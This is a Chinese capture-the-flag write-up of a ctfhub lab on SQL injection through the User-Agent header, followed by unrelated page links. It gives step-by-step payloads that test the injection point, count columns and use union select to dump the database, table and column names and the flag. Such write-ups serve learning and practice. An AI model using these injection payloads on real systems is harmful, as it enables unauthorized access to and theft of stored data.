当前位置: 首页 > article >正文

2025.1.15——八、ua注入

题目来源:ctfhub

目录

一、打开靶机,整理已知信息

二、解题步骤

step 1:bp抓包,修改ua请求信息,查看是否有回显

step 2:查看字段数

step 3:爆数据库名

step 4:爆表名

step 5:爆列名

step 6:查看具体数据

三、小结


一、打开靶机,整理已知信息

        题目提示本题为ua注入,所以要用bp抓包修改ua(User-Agent)请求信息,查看回显。

二、解题步骤

step 1:bp抓包,修改ua请求信息,查看是否有回显

在User-Agent中键入:1

得到正确回显

键入:1'、1''

均得到错误回显

1 and 1=1 #

1 and 1=2 #

        说明为整数型注入

step 2:查看字段数

1 order by 2 #

step 3:爆数据库名

1 and 1=2 union select database(),database() #

        得到数据库名为sqli

step 4:爆表名

1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli' #

        得到表名为tgklhtmkhv

step 5:爆列名

1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='tgklhtmkhv' #

        得到列名:umahitbpvc

step 6:查看具体数据

1 and 1=2 union select 1,umahitbpvc from sqli.tgklhtmkhv #

        得到flag

三、小结

        除了注入点不同,核心语句相同


http://www.kler.cn/a/508006.html

相关文章:

  • MarsCode青训营打卡Day1(2025年1月14日)|稀土掘金-16.最大矩形面积问题
  • 持续集成 01|Gitee介绍、Pycharm使用Gitee
  • 软件授权管理中的软件激活向导示例
  • 达梦8-DMSQL程序设计学习笔记1-DMSQL程序简介
  • excel仅复制可见单元格,仅复制筛选后内容
  • 单片机存储器和C程序编译过程
  • SpringBoot入门实现简单增删改查
  • 基于springboot的快速集成多数据源的启动器
  • 数据结构-栈队列OJ题
  • C语言的循环实现
  • Spring6.0新特性-HTTP接口:使用@HttpExchange实现更优雅的Http客户端
  • 6G移动通信技术:相较于5G的改进点与技术实现
  • 【Python】函数 超全总结及练习案例
  • PHP:写接口与接口的调用(完整版,封装公共方法)
  • 【Docker系列】SpringBoot 项目如何动态指定配置文件
  • 国家统计局湖北调查总队副总队长张小青一行调研珈和科技农业遥感调查智能化算法
  • 环境变量设置之后,pycharm 中程序获取不生效?
  • MES设备日志采集工具
  • Git的基本命令以及其原理(公司小白学习)
  • springboot指定外置配置文件(没有docker)
  • 互联网黑话大全
  • 【Flink系列】10. Flink SQL
  • Zabbix实战第一步:完成在Ubuntu Server的安装部署
  • Docker部署MySQL 5.7:持久化数据的实战技巧
  • 算法入门(九)—— 无监督学习介绍与K-Means实战(内附Kaggle实战源码与数据集)
  • 第9章:基于Vision Transformer(ViT)网络实现的迁移学习图像分类任务:早期秧苗图像识别